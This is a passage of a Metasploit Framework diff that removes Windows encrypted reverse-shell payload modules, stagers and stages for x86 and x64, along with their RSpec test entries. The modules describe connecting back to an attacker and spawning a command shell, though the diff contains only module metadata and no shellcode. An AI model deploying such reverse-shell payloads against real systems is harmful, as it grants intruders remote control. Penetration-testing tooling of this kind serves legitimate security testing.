include Msf::Payload::Windows::EncryptedReverseTcp
include Msf::Payload::Windows::EncryptedPayloadOpts
def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Windows Encrypted Reverse Shell',
'Description' => 'Connect back to attacker and spawn an encrypted command shell',
'Author' => [
'Matt Graeber',
'Shelby Pace'
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X64,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::EncryptedShell,
'DefaultOptions' => { 'LinkerScript' => "#{LINK_SCRIPT_PATH}/func_order64.ld" },
'Dependencies' => [ Metasploit::Framework::Compiler::Mingw::X64 ]
)
)
end
end
@@ -1,34 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 3104
include Msf::Payload::Stager
include Msf::Payload::Windows::EncryptedReverseTcp
include Msf::Payload::Windows::EncryptedPayloadOpts
def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Encrypted Reverse TCP Stager',
'Description' => 'Connect to MSF and read in stage',
'Author' => [
'Matt Graeber',
'Shelby Pace'
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseTcp,
'Convention' => 'sockedi',
'Stager' => { 'RequiresMidstager' => false },
'DefaultOptions' => { 'LinkerScript' => "#{LINK_SCRIPT_PATH}/func_order.ld" },
'Dependencies' => [ Metasploit::Framework::Compiler::Mingw::X86 ]
)
)
end
end
@@ -1,34 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 3072
include Msf::Payload::Stager
include Msf::Payload::Windows::EncryptedReverseTcp
include Msf::Payload::Windows::EncryptedPayloadOpts
def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Encrypted Reverse TCP Stager',
'Description' => 'Connect to MSF and read in stage',
'Author' => [
'Matt Graeber',
'Shelby Pace'
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X64,
'Handler' => Msf::Handler::ReverseTcp,
'Convention' => 'sockedi',
'Stager' => { 'RequiresMidstager' => false },
'DefaultOptions' => { 'LinkerScript' => "#{LINK_SCRIPT_PATH}/func_order64.ld" },
'Dependencies' => [ Metasploit::Framework::Compiler::Mingw::X64 ]
)
)
end
end
@@ -1,30 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
include Msf::Payload::Windows
include Msf::Payload::Windows::EncryptedPayloadOpts
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Windows Command Shell',
'Description' => 'Spawn a piped command shell (staged)',
'Author' => [
'Matt Graeber',
'Shelby Pace'
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Session' => Msf::Sessions::EncryptedShell,
'Dependencies' => [ Metasploit::Framework::Compiler::Mingw::X86 ],
'PayloadCompat' => { 'Convention' => 'sockedi' }
)
)
end
end
@@ -1,31 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
include Msf::Payload::Windows
include Msf::Sessions::CommandShellOptions
include Msf::Payload::Windows::EncryptedReverseTcp
include Msf::Payload::Windows::EncryptedPayloadOpts
def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Windows Command Shell',
'Description' => 'Spawn a piped command shell (staged)',
'Author' => [
'Matt Graeber',
'Shelby Pace'
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X64,
'Session' => Msf::Sessions::EncryptedShell,
'Dependencies' => [ Metasploit::Framework::Compiler::Mingw::X64 ],
'PayloadCompat' => { 'Convention' => 'sockedi' }
)
)
end
end
-34
View File
@@ -3578,23 +3578,6 @@ RSpec.describe 'modules/payloads', :content do
reference_name: 'windows/download_exec'
end
context 'windows/encrypted_shell/reverse_tcp' do
it_should_behave_like 'payload is not cached',
ancestor_reference_names: [
'stagers/windows/encrypted_reverse_tcp',
'stages/windows/encrypted_shell'
],
reference_name: 'windows/encrypted_shell/reverse_tcp'
end
context 'windows/encrypted_shell_reverse_tcp' do
it_should_behave_like 'payload is not cached',
ancestor_reference_names: [
'singles/windows/encrypted_shell_reverse_tcp'
],
reference_name: 'windows/encrypted_shell_reverse_tcp'
end
context 'windows/exec' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
@@ -5030,23 +5013,6 @@ RSpec.describe 'modules/payloads', :content do
reference_name: 'windows/x64/custom/reverse_winhttps'
end
context 'windows/x64/encrypted_shell/reverse_tcp' do
it_should_behave_like 'payload is not cached',
ancestor_reference_names: [
'stagers/windows/x64/encrypted_reverse_tcp',
'stages/windows/x64/encrypted_shell'
],
reference_name: 'windows/x64/encrypted_shell/reverse_tcp'
end
context 'windows/x64/encrypted_shell_reverse_tcp' do
it_should_behave_like 'payload is not cached',
ancestor_reference_names: [
'singles/windows/x64/encrypted_shell_reverse_tcp'
],
reference_name: 'windows/x64/encrypted_shell_reverse_tcp'
end
context 'windows/x64/exec' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [